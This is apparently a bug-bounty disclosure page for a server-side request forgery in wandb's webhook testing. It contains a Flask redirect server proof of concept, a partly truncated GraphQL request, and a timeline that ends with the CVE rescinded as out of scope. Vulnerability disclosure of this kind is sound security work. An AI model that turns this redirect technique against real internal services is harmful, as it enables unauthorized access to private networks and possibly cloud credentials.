

SSRF due to bad 302 redirect handling in wandb/wandb

✖ N/A

Reported on Mar 18th 2024

Description

Any members of the teams who could access the `User settings -> webhooks` function can exploit this vulnerability.

Proof of Concept

In order to prove the SSRF, I've set up locally an HTTP server which returns `<h1>SSRF secret</h1>`. The HTTP server was hosted with Flask.

```
from flask import Flask, jsonify, redirect

app = Flask(__name__)
app.config["DEBUG"] = True

@app.route("/", methods = ['GET', 'POST'])
def index():
    return redirect("http://{internal-ip}/secret.html", 302)

app.run("0.0.0.0", 4444)
```

Now send the following request to trigger the SSRF vulnerability

```
POST /graphql HTTP/1.1
Host: ip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://ip:8080/settings
content-type: application/json
X-Origin: http://ip:8080
Content-Length: 572
Origin: http://ip:8080
Connection: close

{"operationName":"TestGenericWebhookIntegration","variables":{"entityName":"test",
```

Sample response

```
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 18 Mar 2024 14:48:04 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 201
Connection: close
Vary: Origin
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 1000
X-Ratelimit-Remaining: 1000
Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0

{"data":{"testGenericWebhookIntegration":{"ok":true,"response":{"\"response\":\"\\"\"\"u
```

Impact

A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it could be abuse to get a remote code execution on the victim machine.

⚙️ We are processing your report and will contact the **wandb** team within 24 hours. 2 years ago



✎️ hiu240900 modified the report 2 years ago



✎️ huntr-helper modified the Severity from Critical (9.6) to Critical (9) 2 years ago

✉️ We have contacted a member of the **wandb** team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the **wandb** team. We will try again in 4 days. 2 years ago

✉️ We have sent a second follow up to the **wandb** team. We will try again in 7 days. 2 years ago

✉️ We have sent a third follow up to the **wandb** team. We will try again in 14 days. 2 years ago

✉️ We have sent a fourth follow up to the **wandb** team. We will send a final notification 48 hours before report publication. 2 years ago

⚠️ We have sent a warning to the **wandb** team to inform them that this report will be published in 48 hours 2 years ago



hiu240900 commented 2 years ago

Researcher

hello any update yet?



This vulnerability has now been published 2 years ago



hiu240900 commented 2 years ago

Researcher

It's published already but no response yet @admin



Dan McInerney modified the Severity from Critical (9) to High (7.7) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ Dan McInerney validated this vulnerability 2 years ago

\$ hiu240900 has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔑 CVE-2024-4642 assigned to this report. 2 years ago



raunak669 commented 2 years ago

Hello, is the fix released for this vulnerability?

🔑 CVE-2024-4642 has now been published 2 years ago



anandwandb commented 2 years ago

Maintainer

This bug is a duplicate of a previous submission that came to our private bug bounty program. The patch for this bug was deployed on April 24th, 2024.



👁️ A wandb/wandb maintainer has acknowledged this report 2 years ago



anandwandb commented 2 years ago

Maintainer

This is not a vulnerability in our SDK - this was a vulnerability in our backend server code which is out of scope for the huntr bug bounty platform. We request that the associated CVE with this vulnerability be rescinded as it is misattributed, and incorrect.

A huntr admin reset this report to a pending state. 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✗ Marcello has marked this vulnerability as not applicable 2 years ago

CVE has been rescinded due to vulnerability not being in scope.

\$ The disclosure bounty has been dropped ✖

\$ The fix bounty has been dropped ✖

★ The researcher's credibility has decreased: -5

[Sign in](#) to join this conversation

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

Severity

High (7.7)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Other

Affected Version

lastest

Visibility

Public

Status

N/A

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



hiu240900

@hiu240900

MIDDLEWEIGHT



